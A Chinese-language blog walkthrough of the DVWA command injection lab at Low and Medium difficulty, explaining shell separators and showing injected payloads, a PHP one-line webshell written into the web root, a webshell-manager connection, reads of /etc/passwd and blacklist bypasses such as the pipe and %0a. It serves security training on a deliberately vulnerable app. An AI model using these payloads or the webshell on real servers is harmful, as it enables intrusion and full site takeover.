DVWA_Vulnerability: Command Injection

Low

命令执行漏洞

什么是命令执行漏洞?

命令执行漏洞是指,攻击者能够通过应用程序,在运行该应用程序的服务器上直接执行任意的操作系统命令

简单来说,就是攻击者把你的服务器当成了他自己的终端,可以输入任何他想要的命令,比如查看文件、创建用户、下载病毒、删除数据等等

输入本地回环地址进行测试,即 127.0.0.1(注:127.0.0.1 - 这是最标准、最常用的环回地址)

可以看到这里执行了 ping 127.0.0.1 的命令

我们在终端执行 ping 命令是一样的捏

这类漏洞通常出现在Web应用程序中,当用户输入被直接传递给操作系统命令执行函数(如exec()system()popen()等)时,如果程序没有对输入进行严格的过滤和验证,攻击者就有可能通过注入特殊字符来执行任意命令。

这些特殊字符,即命令执行分隔符,在不同操作系统中有所不同:

  • 在Windows系统中,常见的分隔符包括:&|&&||

  • 在Linux系统中,除了上述字符,分号;也常被用作命令分隔符

首先我们来测试与(&/&&)

在 ping 127.0.0.1 的后面我们使用管道符与拼接继续执行命令 whoami

复制代码
127.0.0.1&whoami

可以看到除了执行 ping 命令,whoami 也被执行了,回显如下图:

再试试ipconfig

emmmm,雀食存在命令执行漏洞

试试不同的

复制代码
127.0.0.1&&ipconfig

我们再来ping个假的

复制代码
shuaige&&ipconfig

结果可以得出:当第一个命令执行失败(为假)

那么第二个命令(ipconfig)也不会被执行,这就是两个与的效果(&&)

我们再测试一个与

复制代码
shuaige&ipconfig

可以看到,虽然第一个命令执行失败,但是第二个命令还是被执行了,这就是一个与的效果(&)

前面的语句为假则直接执行后面的,前面可真可假,后面命令都会执行

接下来我们测试或(||、|)

复制代码
127.0.0.1|ipconfig

shuaige|ipconfig

可以看到

对于一个或, 无论第一个命令执行为真还是假,都是直接执行第二个命令

下面执行两个或(||)

复制代码
127.0.0.1||ipconfig

shuaige||ipconfig

可以看到对于两个或:

前面为真,只执行前面的,后面命令没有执行

若前面为假, 执行后面的,第二个命令被执行

最后我们尝试写入木马后门

首先使用 dir 命令查看当前目录下的文件

这里我们使用一个或,无论前面为真还是假,都直接执行后面的命令

复制代码
|dir

可以看到当前目录的位置路径,并且存在一个 index.php 即首页文件

我们尝试写入一个名为 shell.php 的一句话木马文件

这里在本地 cmd 测试是可行的,但是在靶场测试使用一个或却无法写入

因此我们换用与(&)即可

注意:在Windows系统下,尖括号 > 被用于输出重定向,因此如果直接在命令行中写入包含 > 的 PHP 代码,会被认为是输出重定向符号,从而导致语法错误。

我们需要使用 ^ 符号进行转义

复制代码
127.0.0.1&echo ^<?php eval($_POST[cmd]);?^> > D:\phpstudy_pro\WWW\DVWA\vulnerabilities\exec\shell.php

webshell 后门写入成功

写入 shell.php 后如果电脑开了防火墙或者杀毒软件肯定是会被检测到的,因为我们未做任何免杀处理,手动恢复文件即可

写入 shell.php 后如果电脑开了防火墙或者杀毒软件肯定是会被检测到的,因为我们未做任何免杀处理,手动恢复文件即可

查看木马内容

调用shell.php

system 函数执行成功,回显存在一定乱码,但是可以看到文件名

我们使用蚁剑进行连接

测试连接成功

添加后进入

直接拿下整个网站后台

看一下简单模式的源代码

Medium

一、漏洞原理分析

Medium难度下,DVWA对命令注入漏洞进行了基础防护,通过黑名单过滤了部分敏感字符和命令连接符。经测试发现,常见的&&、;、&等连接符已被过滤,但仍存在可利用的绕过方式。核心漏洞依然是服务器未对用户输入进行严格的参数化处理,直接将输入拼接到系统命令中执行。

二、信息收集与测试

  1. 功能测试:在输入框中输入127.0.0.1,页面返回正常的ping命令执行结果,说明基本功能正常,输入被传递给后端系统命令。
  2. 初步注入测试:尝试输入127.0.0.1 && ipconfig(Windows系统)或127.0.0.1 && ifconfig(Linux系统),页面无返回或提示错误,推测&&被过滤。
  3. 连接符绕过测试
    • 尝试127.0.0.1 & ipconfig:无结果,&可能被过滤。
    • 尝试127.0.0.1 ; ipconfig:无结果,;可能被过滤。
    • 尝试127.0.0.1 || ipconfig:当第一个命令执行失败时才执行第二个命令,此处127.0.0.1ping成功,故无结果。
    • 尝试127.0.0.1 | ipconfig(管道符):页面返回了ipconfig的结果!说明|未被过滤,可用于连接命令。

三、漏洞利用步骤

  1. 基本命令执行:使用管道符|连接命令,输入127.0.0.1 | whoami,页面返回当前用户身份(如nt authority\system或www-data)。
  2. 多命令执行:由于|只能连接单个后续命令,若需执行多条命令,可将命令用&&的URL编码%26%26或其他未过滤字符分隔(需进一步测试)。例如,输入127.0.0.1 | dir %26%26 whoami(Windows),若%26%26未被过滤,可依次执行dir和whoami。
  3. 文件操作:输入127.0.0.1 | echo "test" > C:\test.txt(Windows)或127.0.0.1 | echo "test" > /tmp/test.txt(Linux),可在目标服务器写入文件。
  4. 权限提升探测:输入127.0.0.1 | net user(Windows)或127.0.0.1 | cat /etc/passwd(Linux),查看用户信息,为后续权限提升做准备。

四、防御绕过总结

Medium难度主要过滤了&&、;、&等连接符,但未过滤管道符|,可直接使用|连接命令执行。此外,还可尝试以下绕过方式:

  • 命令分隔符替换:如用%0a(换行符)、%0d(回车符)等特殊字符分隔命令,输入127.0.0.1%0awhoami。
  • 黑名单绕过:若部分命令被过滤(如cat),可用more、less、tail等替代,输入127.0.0.1 | more /etc/passwd。
相关推荐
乐迪信息17 分钟前
乐迪信息:煤矿皮带区域安全管控:人员违规闯入智能识别
大数据·运维·人工智能·物联网·安全
I · T · LUCKYBOOM1 小时前
30.Firewalld-Linux
linux·运维·安全
竹等寒3 小时前
TryHackMe-SOC-Section 1:蓝队介绍
安全·网络安全
科技云报道3 小时前
科技云报到:2026网络安全六大新趋势:AI重构攻防,信任成为新防线
人工智能·科技·web安全
么么...4 小时前
在 Ubuntu 上安装 Docker 并部署 MySQL 容器
linux·运维·经验分享·笔记·mysql·ubuntu·docker
黄俊懿4 小时前
【深入理解SpringCloud微服务】Spring-Security作用与原理解析
java·后端·安全·spring·spring cloud·微服务·架构师
翼龙云_cloud4 小时前
亚马逊云渠道商:Lightsail 如何制定备份与快照策略以平衡安全及成本?
运维·安全·云计算·aws
tianyuanwo4 小时前
深入理解iptables:规则管理与匹配机制深度解析
网络·安全·web安全
北岛寒沫4 小时前
北京大学国家发展研究院 经济学辅修 经济学原理课程笔记(第十三课 垄断竞争)
人工智能·经验分享·笔记
一念一花一世界4 小时前
降本增效,安全可控:Arbess如何加速软件发布周期
安全·cicd·arbess